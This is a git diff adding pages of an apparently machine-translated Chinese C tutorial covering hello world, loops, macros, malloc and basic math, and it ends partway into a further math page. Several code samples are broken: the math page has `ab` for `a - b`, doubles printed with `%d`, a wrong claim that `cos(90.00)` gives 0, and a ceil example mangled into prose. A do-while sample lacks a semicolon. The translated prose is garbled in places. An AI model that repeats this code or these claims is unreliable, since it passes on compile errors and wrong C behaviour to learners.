+localeTitle: C
+---
+# 你好，世界！ - 你的第一个C程序
+
+## 充分利用这门课程
+
+在继续之前，请确保您对本指南的这一部分中的所有概念感到满意。让你的第一个程序运行很重要，因为它可以让你跟随示例，这是另一件好事 - 练习是完美的！可能令人困惑的概念将有一个链接到附录的注释。如果您不理解某个概念，请确保查阅附录以获取更多信息。
+
+## 课程目标
+
+本课程的目标是向初学者讲授C语言。理想情况下，以前从未接触过计算机语言的人将能够通过遵循这些指南来了解C.但是，通过在每篇文章的末尾添加摘要，它们对于更有经验的程序员仍然有用。虽然这里介绍的内容可以转移到像Arduino这样的微控制器，但它不是本指南的重点。
+
+## 什么是C？
+
+C是Dennis Ritchie于1969年至1973年间在贝尔实验室发明的通用编程语言。从那时起，它就被用来创建像Linux内核这样的东西，它允许软件与基于Linux的操作系统上的硬件进行交互。它可以执行此操作以及其他低级操作，因为它设计为非常接近机器代码，同时仍然是人类可读的。因此，它提供了对计算机内存和硬件的直接访问。这使得它在硬件和机器人应用中非常有用，因为快速访问这些功能非常重要。 与其他低级语言一样，C需要编译。编译过程采用可由人读取的C代码，并将其转换为可由计算机读取和执行的代码。编译需要编译器，可以从命令行使用，也可以在IDE中使用。
+
+如果您更喜欢使用命令行，请考虑使用`gcc` 。默认情况下，它可以在GNU + Linux操作系统和Mac上找到，并且很容易在Windows上运行。但是，对于初学者来说，拥有IDE可能会更舒适。如果您对能够从GUI编写和运行代码感兴趣，请考虑使用CodeBlocks或Xcode。
+
+现在你有了这个背景，让我们从'Hello，World'计划开始吧。 'Hello，World'是一种开始使用语言的传统方式：它表明我们可以编写代码并使其运行，因此它是一个很好的起点！
+
+## 你好世界在C
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) 
+ { 
+    printf("hello, world\n"); 
+    return 0; 
+ } 
+```
+
+让我们一步一步地打破这个程序吧。
+
+首先是`#include` ：
+
+```C
+#include <stdio.h> // This is called preprocessor directives 
+```
+
+这是编译器查找和包含一组头文件的指令。头文件包含我们可以使用的其他代码。在这种情况下，已指示编译器包含`<stdio.h>` ，其中包含各种有用的函数，如`printf()` 。我们也可以把它写成`#include"stdio.h"` 。我们将详细介绍稍后的函数，但是现在只记得函数是我们可以使用的代码集合。
+
+```C
+int main(void) 
+ { 
+ } 
+```
+
+此代码声明了main函数。主要功能是特殊功能 - 它总是被调用，并且始终是程序的“主要”部分。如果这不在你的程序中，你的程序将无法运行，也无法编译。
+
+使用`int`启动函数声明意味着当函数通过其代码运行时，此函数将给出一个`int`值 - 它是此函数的输出。 `int`是'整数'数据类型，整数是整数，如-3,0或18.所以我们知道这个代码会运行，当它完成时，它会给我们一个整数。按照惯例，此整数为0。
+
+接下来是`main` 。 `main`是这个函数的名称，正如你之前学到的，拥有一个`main`函数很重要，因为如果没有它，你的程序将无法工作。 `main`后跟`(void)` 。这告诉编译器该函数不接受任何参数，这意味着它没有输入。
+
+这可能现在没有多大意义，但是当你稍后开始阅读C中的函数时，你将会学到更多。现在，请记住，您的C程序需要`main` ，它不接受任何输入，并且它给出一个数字作为其输出。
+
+最后，有括号： `{`和`}` 。这些标志着功能的开始和结束。开放的大括号（ `{` ）标记开头，而大括号（ `}` ）标记结束。两者之间的一切都在功能范围内。
+
+现在让我们来看看该计划的内容：
+
+```C
+    printf("Hello, World!\n"); 
+```
+
+`printf`是一个接收文本并将其打印到屏幕的功能。括号表示我们希望`printf`函数获取和打印到屏幕的信息。我们表明这是一个我们想要打印的字符串，用引号括起来“像这样”。
+
+注意在引号中找到的\\ n - 这告诉`printf`函数打印换行符。当您在键盘上按Enter键时，会出现换行符。在没有明确告诉C打印换行符的情况下，所有内容都将打印在同一行上。
+
+最后，printf（）语句以分号（ `;` ）结束。这表明这行代码结束了。没有它，编译器不知道一行结束而另一行开始，所以包含它是很重要的。
+
+该程序以return语句结束：
+
+```C
+return 0; 
+```
+
+这表明函数已经结束，它应该通过给运行的任何值赋值0来结束。当您在计算机上运行代码时，这很好，因为它允许其他程序以更好的方式与您的程序进行交互。
+
+和以前一样，这行以分号结尾，表示该行已完成。
+
+## 编译和运行
+
+您可以将hello world文件保存为您想要的任何内容，但它需要以.c文件扩展名结尾。在此示例中，该文件已命名为“helloworld.c”，因为这是一个带有.c文件扩展名的明确名称。
+
+有许多方法可以在您的计算机上编译和运行C代码。以下是一些：
+
+#### 使用GCC从命令行编译和运行
+
+如果您运行的是Mac或GNU + Linux，那么您已经安装了GCC。
+
+为了运行你的C程序，需要编译它。要使用gcc从命令行进行编译，请从终端运行以下命令：
+
+```shell
+gcc -o helloworld ./helloworld.c 
+```
+
+`gcc`是Gnu C编译器，它会将我们提供的C文件编译成可由您的计算机运行的程序。
+
+`-o helloworld`告诉GCC你想要编译的文件（gcc的输出）是一个名为“helloworld”的文件。该命令的最后一部分告诉GCC可以找到要编译的C文件。如果你不习惯从命令行导航，这一步将很难，但是没关系 - 它很容易学习和回来，或者你可以尝试从IDE。
+
+编译完成后，运行以下命令：
+
+```shell
+./helloworld 
+```
+
+如果一切顺利，你应该看到`Hello, World!`打印到屏幕上。
+
+#### 使用CodeBlocks编译和运行C.
+
+[可以从此处下载代码块。](http://www.codeblocks.org/downloads/26) 使用`file` - > `new` - > `file`一个新程序，选择C / C ++ source，选择C作为您的语言，然后复制您之前读过的helloworld.c文本。使用`Build` - > `Build and Run`编译并运行代码。
+
+#### 使用Xcode编译和运行C.
+
+[Xcode可以从这里下载。](https://developer.apple.com/xcode/)
+
+#### 使用Dev-C ++编译和运行C.
+
+[Dev-C ++可以从这里下载。](https://sourceforge.net/projects/orwelldevcpp/) 用`file` - > `new` - > `Source File`一个新程序，然后复制你之前读过的helloworld.c文本，然后用`file` `save As` `file` - > `save As`为hello.c，编译并运行代码`Execute` - > `Compile & Run` 。
+
+# 在你继续之前......
+
+## 回顾
+
+*   C是编程语言的通用语言。
+*   C用于重新实现Unix操作系统。
+*   C非常有用，因为它体积小，速度快，并且可以访问低级操作。因此，它在机器人，操作系统和消费电子产品中得到了很多应用，但在网页等方面却没有。
+*   AC计划有几个关键部分：
+*   include语句，它告诉C编译器在哪里可以找到将在程序中使用的其他代码。
+*   main函数，它是代码首先执行的地方，也是编译时所必需的。
+*   在将要执行的main函数中的东西，包括一个return语句，它关闭程序并为调用它的程序提供一个值。
+*   需要编译C才能运行。
+*   C可用于访问特定硬件地址并执行类型惩罚以匹配外部强加的接口要求，并且对系统资源的运行时需求较低。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/loops/index.md b/client/src/guide/chinese/c/loops/index.md
new file mode 100644
index 0000000000..2c9bdd915b
--- /dev/null
+++ b/client/src/guide/chinese/c/loops/index.md
@@ -0,0 +1,638 @@
+---
+title: Loops of all kinds
+localeTitle: 各种循环
+---
+# C中的各种循环
+
+当您拥有要循环的代码时，循环就是您所使用的，这意味着在运行之后，您可能希望它循环到开头并再次运行。在C中有一些这些。
+
+## 循环
+
+最简单的是while循环。 while循环将在括号内的条件为真时运行。当你想要发生某些事情直到某种情况发生时，应该使用它们。
+
+### 句法
+```
+while(condition) { 
+   statement(s); 
+ } 
+```
+
+这是一个例子：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_number = 0; 
+ 
+    while(my_number != 10){ 
+        ++my_number; 
+    } 
+ 
+    printf("my_number = %i", my_number); 
+ 
+    return 0; 
+ } 
+```
+
+虽然while循环中的语句为true，但括号内的内容将会运行。当程序命中`while(my_number)` ，它会检查括号内的语句。如果该语句为false，则不会运行while循环。相反，它将跳过两个括号之间的代码，并将从中断处继续。
+
+如果该语句为true，则将运行括号内的代码。括号内的代码运行后，将再次检查括号内的语句。就像之前一样，如果语句为true，则代码将被运行，如果为false，则将跳过代码。
+
+在玩这个或任何其他循环时你可能遇到的一个问题是无限循环的想法 - 一个循环将运行无限次，因为没有什么可以阻止它。有时这可能是故意发生的：
+
+```C
+while(1) { 
+    printf("This will get printed forever unless the program is stopped!"); 
+ } 
+```
+
+当然，它也可能偶然发生。这是与以前相同的代码，但是有一个微妙的区别，将其变成无限循环：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_number = 11; 
+ 
+    while(my_number != 10){ 
+        ++my_number; 
+    } 
+ 
+    printf("my_number = %i", my_number); 
+ 
+    return 0; 
+ } 
+```
+
+当评估此while循环时，将检查`my_number`以查看它是否不是10.它不是，因为它已在11初始化，因此while循环中的代码将运行且`my_number`将为12. 12不等于10，所以while循环中的代码将运行， `my_number`将为13.这将永远运行，因为这种情况永远不会变为false - 它停止的唯一方法是强制程序停止运行。这是一个无限循环的例子，因为如果单独留下，它将运行无限次。
+
+## Do-while循环
+
+Do-while循环是一个不太常用的while循环版本。循环以评估开始，因此如果该评估为false，则括号内的代码将不会运行。但是，使用do-while循环，括号内的代码将运行一次，然后执行评估以查看是否应该再次运行。
+
+### 句法
+```
+do { 
+   statement(s); 
+ } while( condition ); 
+```
+
+这是一个看看：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void){ 
+    int a = 0; 
+ 
+    do { 
+        a++ 
+    } while(a == -123); 
+ 
+    printf("%i\n", a); 
+ 
+    return 0; 
+ } 
+```
+
+如果这是一个while循环，则括号内的代码将永远不会运行，因为执行评估时此条件不正确。但是，因为这是一个do-while循环，代码将执行一次，然后进行评估以查看是否应该再次执行。当你知道你想要做一次事情时，Do-while循环很有用，但是你可能需要在那之后再运行一次。
+
+## 对于循环
+
+For循环适用于我们想要运行一定次数的东西。
+
+### 句法
+```
+for(initialisation; condition; changer) 
+ { 
+   statement(s); 
+ } 
+```
+
+这是一个例子：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int a = 4; 
+    int b = 2; 
+    int result = 0; 
+ 
+    for(int count = 0; count != b; count++) { 
+        result = result + a; 
+    } 
+ 
+    printf("a times b is %i\n", result); 
+ 
+    return 0; 
+ } 
+```
+
+乘法只是重复添加，所以这是在`a` ， `b`次上添加。让我们一来看看该`for`在特定位：
+
+```C
+for(int count = 0; count != b; count++) 
+```
+
+与for循环不同，括号中有三个由分号分隔的东西。第一部分用于初始化，称为“初始化”：它允许您创建一个新变量并将其设置为一个值，或者将现有变量设置为不同的值，或者您不能设置任何内容而只是放置一个分号下来。
+
+下一节是一个布尔条件，将检查其是true还是false，就像我们的while循环一样。它被称为“条件”，因为它是在开始循环之前将被检查的条件。
+
+最后一节称为“递增/递减”。它的工作是在每个循环中执行一些操作 - 通常在初始变量中添加或减去 - 在括号内的代码运行之后。在这种情况下，它只是在计数中添加一个。这是使用增量的最常用方法，因为它可以让您计算通过for循环运行的次数。
+
+### 语法比较
+```
+main() 
+ { 
+  int i = 1; 
+  while(i<=5) 
+  { 
+     printf(“While”); 
+     i++; 
+   } 
+  getch(); 
+ } 
+ 
+ 
+ main() 
+ { 
+  int i = 1; 
+  do 
+  { 
+     printf(“do-while”); 
+     i++; 
+   } while(i<=5); 
+  getch(); 
+ 
+ } 
+ 
+ 
+ main() 
+ { 
+  int i 
+  for(i=1;i<=5;i++) 
+  { 
+     printf(“for”); 
+   } 
+  getch(); 
+ } 
+```
+
+# 循环控制语句
+
+循环控制语句从正常顺序改变执行。当执行离开作用域时，将销毁在该作用域中创建的所有自动对象。
+
+C支持以下控制语句：
+
+#### 1.休息声明
+
+终止**循环**或**switch**语句，并在循环或切换后立即将执行转移到语句。
+
+#### 2.继续声明
+
+导致循环跳过其身体的其余部分，并在重复之前立即重新测试其状态。
+
+#### 3.转到声明
+
+将控制转移到带标签的声明。
+
+# 一些有趣和有用的怪癖
+
+## for循环无限循环
+
+花点时间考虑一下这段代码会做什么：
+
+```C
+for(;;){ 
+    printf("hello, world! \n"); 
+ } 
+ 
+ while("Free Code Camp"){ 
+    printf("hello, world! \n"); 
+ } 
+```
+
+初始化部分没有任何内容，因此没有任何内容被初始化。这很好，有时候这样做是因为你并不总是想要或者需要初始化任何东西。
+
+接下来是条件，这是空白的。这有点奇怪。这意味着不会测试任何条件，因此它永远不会是错误的，所以它将贯穿循环，执行事后的想法（这是什么都不做），然后再次检查条件，这将使它再次运行。你可能已经意识到，这是一个无限循环。事实证明，这实际上很有用。在创建执行无限循环时，执行`while(1)`是完全合法的，但每次都执行比较。另一方面， `for(;;)`则没有。出于这个原因， `for(;;)`具有合法用途，因为它比其他无限循环方法更有效。值得庆幸的是，许多编译器会为您解决这个问题。
+
+第二个代码中的循环（“Free Code Camp”）也将无限执行。原因是因为C将任何非零值视为true，因此将无限地执行循环。
+
+## 不使用括号
+
+在整个页面中，您已经读过“括号内的代码”是运行的代码，而这大部分都是正确的。但是，如果没有括号怎么办？
+
+```C
+while(true) 
+    printf("hello, world! \n"); 
+```
+
+在这种情况下，C会将下一行视为唯一需要循环的内容。 C忽略空格，因此缩进只是为了清晰起见。只有那一行将被视为处于循环中，并且这是if语句，for循环和while循环共享的属性。因为忽略了空格，所以放置无关紧要：只要中间没有其他代码行，它就可以在同一行，下一行，或300行和两个空格。当您只在一个语句中运行一行代码时，此功能可以使您的代码看起来更清晰。
+
+## 用分号代替括号
+
+如果没有括号，编译器将只查看下一行并将其作为循环的内容。分号告诉编译器一行已结束。把这些东西结合起来，我们可以让C等到事情成真。假设我们有一个名为`is_button_pressed`的方法，如果没有按下按钮则返回false，如果按下按钮则返回true：
+
+```C
+while(!is_button_pressed()); 
+```
+
+在这个循环中没有任何事情发生，因为它将看到的唯一一行是分号。结果，将调用`is_button_pressed`方法，并将评估其返回值。如果未按下按钮且返回值为false，则`!`将其翻转为true，以便再次运行该函数并再次进行评估。如果返回值为true，则`!`将它翻转为false并退出while循环。
+
+这会导致代码暂停。在这种情况下，代码到达while循环，并且没有进一步。相反，它会不断检查要更改的按钮的状态。这对于在满足特定条件之前不希望发生任何事情的情况非常有用。
+
+# 在你继续之前......
+
+## 回顾
+
+*   循环允许您的代码在满足某些条件时运行多次。
+*   C中有几个循环可供我们使用：
+*   while循环，允许我们在条件为真时运行代码
+*   Do-while循环，运行代码，然后在条件为真时继续运行代码
+*   for循环，在条件为真时运行代码并允许我们在每个循环中执行操作。
+
+## 使用循环来设计模式。
+
+#### 示例1：使用\*打印半金字塔的程序
+```
+* 
+ * * 
+ * * * 
+ * * * * 
+ * * * * * 
+```
+
+**源代码**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("* "); 
+        } 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+```
+
+#### 示例2：使用数字打印半金字塔a的程序
+```
+1 
+ 1 2 
+ 1 2 3 
+ 1 2 3 4 
+ 1 2 3 4 5 
+```
+
+**源代码**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("%d ",j); 
+        } 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+```
+
+#### 示例3：使用字母表打印半金字塔的程序
+```
+A 
+ BB 
+ CCC 
+ DDDD 
+ EEEEE 
+```
+
+**源代码**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j; 
+    char input, alphabet = 'A'; 
+ 
+    printf("Enter the uppercase character you want to print in last row: "); 
+    scanf("%c",&input); 
+ 
+    for(i=1; i <= (input-'A'+1); ++i) 
+    { 
+        for(j=1;j<=i;++j) 
+        { 
+            printf("%c", alphabet); 
+        } 
+        ++alphabet; 
+ 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+```
+
+使用\*和数字打印倒半金字塔的程序
+
+#### 示例4：使用\*的倒半金字塔
+```
+* * * * * 
+ * * * * 
+ * * * 
+ * * 
+ * 
+```
+
+**源代码**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=rows; i>=1; --i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("* "); 
+        } 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### 示例5：使用数字的倒半金字塔
+```
+1 2 3 4 5 
+ 1 2 3 4 
+ 1 2 3 
+ 1 2 
+ 1 
+```
+
+**源代码**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, j, rows; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=rows; i>=1; --i) 
+    { 
+        for(j=1; j<=i; ++j) 
+        { 
+            printf("%d ",j); 
+        } 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### 示例6：使用\*打印全金字塔的程序
+```
+        * 
+      * * * 
+    * * * * * 
+  * * * * * * * 
+ * * * * * * * * * 
+```
+
+**源代码**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, space, rows, k=0; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i, k=0) 
+    { 
+        for(space=1; space<=rows-i; ++space) 
+        { 
+            printf("  "); 
+        } 
+ 
+        while(k != 2*i-1) 
+        { 
+            printf("* "); 
+            ++k; 
+        } 
+ 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### 示例7：使用数字打印金字塔的程序
+```
+        1 
+      2 3 2 
+    3 4 5 4 3 
+  4 5 6 7 6 5 4 
+ 5 6 7 8 9 8 7 6 5 
+```
+
+**源代码**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int i, space, rows, k=0, count = 0, count1 = 0; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i<=rows; ++i) 
+    { 
+        for(space=1; space <= rows-i; ++space) 
+        { 
+            printf("  "); 
+            ++count; 
+        } 
+ 
+        while(k != 2*i-1) 
+        { 
+            if (count <= rows-1) 
+            { 
+                printf("%d ", i+k); 
+                ++count; 
+            } 
+            else 
+            { 
+                ++count1; 
+                printf("%d ", (i+k-2*count1)); 
+            } 
+            ++k; 
+        } 
+        count1 = count = k = 0; 
+ 
+        printf("\n"); 
+    } 
+    return 0; 
+ } 
+```
+
+#### 例8：使用\*的倒金字塔
+```
+* * * * * * * * * 
+  * * * * * * * 
+    * * * * * 
+      * * * 
+        * 
+```
+
+**源代码**
+
+```c
+#include<stdio.h> 
+ 
+ int main() 
+ { 
+    int rows, i, j, space; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=rows; i>=1; --i) 
+    { 
+        for(space=0; space < rows-i; ++space) 
+            printf("  "); 
+ 
+        for(j=i; j <= 2*i-1; ++j) 
+            printf("* "); 
+ 
+        for(j=0; j < i-1; ++j) 
+            printf("* "); 
+ 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### 例9：打印Pascal的三角形
+```
+           1 
+         1   1 
+       1   2   1 
+     1   3   3    1 
+   1  4    6   4   1 
+ 1  5   10   10  5   1 
+```
+
+**源代码**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int rows, coef = 1, space, i, j; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=0; i<rows; i++) 
+    { 
+        for(space=1; space <= rows-i; space++) 
+            printf("  "); 
+ 
+        for(j=0; j <= i; j++) 
+        { 
+            if (j==0 || i==0) 
+                coef = 1; 
+            else 
+                coef = coef*(i-j+1)/j; 
+ 
+            printf("%4d", coef); 
+        } 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+#### 例10：打印弗洛伊德的三角形。
+```
+1 
+ 2 3 
+ 4 5 6 
+ 7 8 9 10 
+```
+
+**源代码**
+
+```c
+#include <stdio.h> 
+ 
+ int main() 
+ { 
+    int rows, i, j, number= 1; 
+ 
+    printf("Enter number of rows: "); 
+    scanf("%d",&rows); 
+ 
+    for(i=1; i <= rows; i++) 
+    { 
+        for(j=1; j <= i; ++j) 
+        { 
+            printf("%d ", number); 
+            ++number; 
+        } 
+ 
+        printf("\n"); 
+    } 
+ 
+    return 0; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/macros/index.md b/client/src/guide/chinese/c/macros/index.md
new file mode 100644
index 0000000000..784ddcdac2
--- /dev/null
+++ b/client/src/guide/chinese/c/macros/index.md
@@ -0,0 +1,77 @@
+---
+title: Macros in C
+localeTitle: C中的宏
+---
+## C中的宏
+
+宏是一段具有给定名称的代码。使用名称时，它将替换为宏的内容。
+
+#### 定义宏
+
+`#define`关键字用于定义新宏。接下来是名称和内容。按照惯例，宏名称以大写字母书写。
+
+```C
+#define PI 3.14 
+```
+
+如果你这样使用宏：
+
+```C
+printf("Value of PI: %d", PI); 
+```
+
+写这个是一样的：
+
+```C
+printf("Value of PI: %d", 3.14); 
+```
+
+#### 宏的类型
+
+有两种类型的宏。上面显示`Object-like`宏和`Function-like`宏。
+
+#### 功能类宏
+
+类似函数使用相同的`#define`关键字。区别在于您在函数名后使用了一对括号。
+
+```C
+#define hello_world() printf("Hello World!") 
+```
+
+所以打电话：
+
+```C
+hello_world() 
+```
+
+你得到：
+
+```C
+printf("Hello World!"); 
+```
+
+您也可以设置参数：
+
+```C
+#define hello(X) printf("Hello " X "!") 
+```
+
+现在打电话：
+
+```C
+hello("World"); 
+```
+
+你得到了相同的：
+
+```C
+printf("Hello World!"); 
+```
+
+#### 更多信息：
+
+[GCC在线文档：宏](https://gcc.gnu.org/onlinedocs/cpp/Macros.html)
+
+[GCC在线文档：类似对象的宏](https://gcc.gnu.org/onlinedocs/cpp/Object-like-Macros.html#Object-like-Macros)
+
+[GCC在线文档：类似函数的宏](https://gcc.gnu.org/onlinedocs/cpp/Function-like-Macros.html#Function-like-Macros)
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/malloc/index.md b/client/src/guide/chinese/c/malloc/index.md
new file mode 100644
index 0000000000..1bf4ab08d9
--- /dev/null
+++ b/client/src/guide/chinese/c/malloc/index.md
@@ -0,0 +1,42 @@
+---
+title: malloc
+localeTitle: 的malloc
+---
+# C中的malloc
+
+malloc（）是一个库函数，它允许C从堆中动态分配内存。堆是存储某些内容的内存区域。
+
+malloc（）是stdlib.h的一部分，为了能够使用它，你需要使用`#include <stdlib.h>` 。
+
+## 使用Malloc
+
+malloc（）分配所请求大小的内存，并返回指向已分配块开头的指针。要保存此返回的指针，我们必须创建一个变量。指针应与malloc语句中使用的类型相同。  
+在这里，我们将指向即将出现的一组int
+
+```C
+int* arrayPtr; 
+```
+
+与其他语言不同，C不知道它为内存分配的数据类型;需要告诉它。幸运的是，C有一个名为`sizeof()`的函数，我们可以使用它。
+
+```C
+arrayPtr = (int *)malloc(10 * sizeof(int)); 
+```
+
+该语句使用malloc为10个整数的数组预留内存。由于大小可以在计算机之间改变，因此使用sizeof（）函数计算当前计算机的大小非常重要。
+
+在程序关闭之前，需要释放在程序执行期间分配的任何内存。为了`free`内存，我们可以使用free（）函数
+
+```C
+free( arrayPtr ); 
+```
+
+此语句将释放先前分配的内存。 C没有像其他语言一样带有`garbage collector` ，例如Java。因此，在程序关闭后，将继续分配未正确释放的内存。
+
+# 在你继续之前......
+
+## 回顾
+
+*   Malloc用于动态内存分配，在您不知道编译期间所需的内存量时非常有用。
+*   分配内存允许对象存在于当前块的范围之外。
+*   C传递值而不是引用。使用malloc分配内存，然后将指针传递给另一个函数，比使用函数重新创建结构更有效。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/math/index.md b/client/src/guide/chinese/c/math/index.md
new file mode 100644
index 0000000000..da7d87420f
--- /dev/null
+++ b/client/src/guide/chinese/c/math/index.md
@@ -0,0 +1,172 @@
+---
+title: Basic Math
+localeTitle: 基础数学
+---
+# 数学在C.
+
+C为数学提供了很多选择。我们首先从一些比较常见的开始。
+
+## 基本的东西
+
+以下示例不是完整的代码，它们只是一段代码的示例。请记住，在C中，我们需要在使用之前声明所有内容 - `result` ， `a`和`b`将需要已经初始化并设置为值。无论是`int` ， `double`还是其他什么对于防止错误和信息丢失都很重要 - 我们稍后会介绍。
+
+#### 增加： `+`
+
+使用`+`执行添加，如下所示：
+
+```C
+result = a + b; 
+```
+
+在上面的例子中，变量`result`将等于a + b。
+
+#### 减法： `-`
+
+添加是使用`-` ，如下所示：
+
+```C
+result = a - b; 
+```
+
+在上面的例子中，变量`result`将等于a-b。
+
+#### 乘法： `*`
+
+使用`*`执行乘法，如下所示：
+
+```C
+result = a * b; 
+```
+
+在上面的例子中，变量`result`将等于a乘以b。
+
+#### 部门： `/`
+
+使用`/`执行除法，如下所示：
+
+```C
+result = a / b; 
+```
+
+在上面的例子中，变量`result`将等于a除以b。然而，这并不总是超过b的一小部分。在处理整数时，事情会有所不同 - 稍后会有所不同。
+
+# 不那么基本的东西
+
+## 模数：'％'
+
+好的，现在事情变得有点奇怪了。
+
+Modulo允许您在除法中找到余数。请记住，对于整数，我们不能有小数。分部是关于找到一个数字适合另一个数字的次数，模数是关于找到遗留的东西。取27除以4：4适合27 6次。 6次4是24，这意味着剩下3次。结果，27％4是3. 10除以5是2,2倍5是10，所以剩下0。结果，10％5为0。
+
+模运算符比您想象的更重要，尤其是在C中，强制执行浮点数和整数数之间的差异。值得拥抱。这是一个例子：
+
+```C
+result = a % b; 
+```
+
+在上面的例子中， `result`将等于模b。
+
+## 整数和数学
+
+整数不能有小数。因此，当您使用整数执行除法时，将截断任何类型的小数。例如，17除以10是1.7。但是，如果我们只处理整数，那么结果将是1，而不是1.7。 10次​​适合17次1，所以答案是1。
+
+处理浮点数时，这不是问题。浮点数可以取小数位，因此我们不必担心会被截断的事情。
+
+### 为什么C这样做？
+
+如前所述，C是一种低级语言。计算机硬件中的浮点数和整数数之间存在很大差异，它们要求某些数据类型具有某些属性（例如，不接受小数）。 C不会假设你想要什么，并强迫你自己思考它。
+
+### 为什么我们不一直只使用浮点数？
+
+这也归结为C是一种低级语言。 C比许多其他语言更快，更快，更轻，也是这样的原因之一，因为程序员能够对数据类型做出明智的决策。请记住，浮点数比整数占用更多内存。因此，使用适当的数据类型很重要，并在需要时处理整数到浮点的转换。
+
+### 我们如何解决这个问题？
+
+铸造（后面描述）是一种解决方案。另一种是使用浮点数。如果正在操作的一个或两个数字是浮点数，则结果将是浮点数。当我们开始处理操作顺序时，这变得更加复杂，但是现在，请注意这是有效的：
+
+```C
+double result = 23.0 / 2; 
+```
+
+# 一个完整的例子
+
+```C
+#include <stdio.h> 
+ 
+ // This is a comment. It gets ignored by the compiler, so we can write notes after the double slashes. 
+ 
+ int main(void) { 
+    int a = 3; 
+    int b = 5; 
+    int result = 0; 
+ 
+    // Doing things with variables: 
+    result = a + b; 
+    printf("a plus b = %i \n", result); 
+ 
+    // You can also do the operation inside the printf. 
+    // Here's an example of that with subtraction: 
+    printf("a minus b = %i \n", ab); 
+ 
+    // You don't need to do this with variables at all. 
+    // Here's an example of that with multiplication: 
+    printf("10 times 5 = %i \n", 10*5); 
+ 
+    // Here's a look at division. 
+    // Notice that the decimals are truncated because we're dealing with integers. 
+    printf("12 divided by 5 = %i \n", 12/5); 
+ 
+    // Now let's force floating point numbers by including a decimal. 
+    // Notice that even though these are integers, the decimal forces them to be 
+    // treated as floating point numbers, so they aren't truncated. 
+    // Note that I'm printing a double with %d, not an int with %i. 
+    printf("12.0 divided by 5 = %d \n", 12.0/5); 
+ 
+    return 0; 
+ } 
+```
+
+给出一个运行来看看会发生什么，并确保使用运算符和值来查看事物的变化和方式。
+
+# 数学库
+
+C提供了一个数学库（ `math.h` ），它提供了许多有用的数学函数。例如，数字的幂可以计算为：
+
+```#include<math.h>
+int result = pow(2,3) // will result in 2*2*2 or 8 
+```
+
+其他一些可能证明有用的（ `math.h` ）库函数是：
+
+`#include <math.h> double angle = cos(90.00); // Givs us 0.00 int result = sqrt(16); // Gives us 4 double result = log(10.00) // Gives us 2.30 (note this is ln(10), not log base 10)`
+
+// C代码来说明 //使用ceil函数。
+
+# 包括
+
+# 包括
+
+int main（） { float val1，val2，val3，val4;
+
+val1 = 1.6; val2 = 1.2; val3 = -2.8; val4 = -2.3;
+
+printf（“value1 =％。1lf \\ n”，ceil（val1））; printf（“value2 =％。1lf \\ n”，ceil（val2））; printf（“value3 =％。1lf \\ n”，ceil（val3））; printf（“value4 =％。1lf \\ n”，ceil（val4））;
+
+返回（0）; }
+
+# 在你继续之前......
+
+## 回顾
+
+*   有几个基本的运算符：
+*   `+`加法
+*   `-`减法
+*   `*`用于乘法
+*   `/`分裂
+*   模数`%`
+*   还有更多的运营商，但我们稍后会详细介绍它们。
+*   整数数学是C非常严格的事情。
+*   C对数据类型非常严格
+*   如果只涉及整数，则返回一个整数
+*   如果操作中涉及浮点数，则该部分操作变为浮点
+*   C为`math.h`库提供了多个函数，如`pow`用于计算数字的幂。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/more-math/index.md b/client/src/guide/chinese/c/more-math/index.md
new file mode 100644
index 0000000000..e92906ac14
--- /dev/null
+++ b/client/src/guide/chinese/c/more-math/index.md
@@ -0,0 +1,184 @@
+---
+title: More math
+localeTitle: 更多数学
+---
+# C中的数学更多
+
+好的，所以你已经看过了基础知识。不过，在C中还有更多，所以这里有一个看看。
+
+## 运营顺序
+
+看看下面的等式：
+
+> 1 +（3-2）\* 5
+
